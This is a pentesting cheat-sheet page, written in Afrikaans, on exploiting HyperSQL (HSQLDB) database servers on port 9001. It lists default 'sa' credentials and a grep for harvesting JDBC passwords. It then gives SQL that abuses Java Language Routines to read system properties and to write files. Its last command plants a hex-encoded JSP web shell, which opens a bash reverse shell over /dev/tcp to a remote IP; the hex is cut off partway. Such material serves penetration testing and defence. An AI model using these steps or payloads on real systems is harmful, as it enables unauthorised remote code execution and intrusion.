# 9001 - Pentesting HSQLDB {{#include ../banners/hacktricks-training.md}} ## Basiese Inligting **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** is die toonaangewende SQL relationele databasisstelsel geskryf in Java. Dit bied 'n klein, vinnige multithreaded en transaksionele databasis enjin met in-geheue en skyf-gebaseerde tabelle en ondersteun ingebedde en bediener modi. **Standaard poort:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` ## Standaard Instellings Let daarop dat hierdie diens waarskynlik standaard in geheue loop of aan localhost gekoppel is. As jy dit gevind het, het jy waarskynlik 'n ander diens uitgebuit en soek jy om voorregte te verhoog. Standaard akredensiale is gewoonlik `sa` met 'n leë wagwoord. As jy 'n ander diens uitgebuit het, soek na moontlike akredensiale met behulp van ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Note die databasisnaam versigtig - jy sal dit nodig hê om te verbind. ## Inligting Versameling Verbind met die DB-instansie deur [HSQLDB af te laai](https://sourceforge.net/projects/hsqldb/files/) en `hsqldb/lib/hsqldb.jar` uit te pak. Voer die GUI-toepassing \(eww\) uit met `java -jar hsqldb.jar` en verbind met die instansie met die ontdekte/ swak geloofsbriewe. Let daarop dat die verbindings-URL iets soos hierdie vir 'n afstandstelsel sal lyk: `jdbc:hsqldb:hsql://ip/DBNAME`. ## Tricks ### Java Taal Routines Ons kan statiese metodes van 'n Java-klas vanaf HSQLDB aanroep deur Java Taal Routines. Neem kennis dat die aangeroepde klas in die toepassing se klaspad moet wees. JRTs kan `funksies` of `prosedures` wees. Funksies kan via SQL-verklarings aangeroep word as die Java-metode een of meer SQL-compatibele primitiewe veranderlikes teruggee. Hulle word aangeroep met die `VALUES` verklaring. As die Java-metode wat ons wil aanroep void teruggee, moet ons 'n prosedure gebruik wat met die `CALL` verklaring aangeroep word. ### Lees Java Stelsels Eienskappe Skep funksie: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` Voer funksie uit: ```text VALUES(getsystemproperty('user.name')) ``` U kan 'n [lys van stelsels eienskappe hier vind](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). ### Skryf Inhoud na Lêer U kan die `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java-gadget gebruik wat in die JDK geleë is \(outomaties in die klas pad van die aansoek gelaai\) om hex-gecodeerde items na skyf te skryf via 'n pasgemaakte prosedure. **Let op die maksimum grootte van 1024 bytes**. Skep prosedure: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` Voer prosedure uit: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ``` {{#include ../banners/hacktricks-training.md}}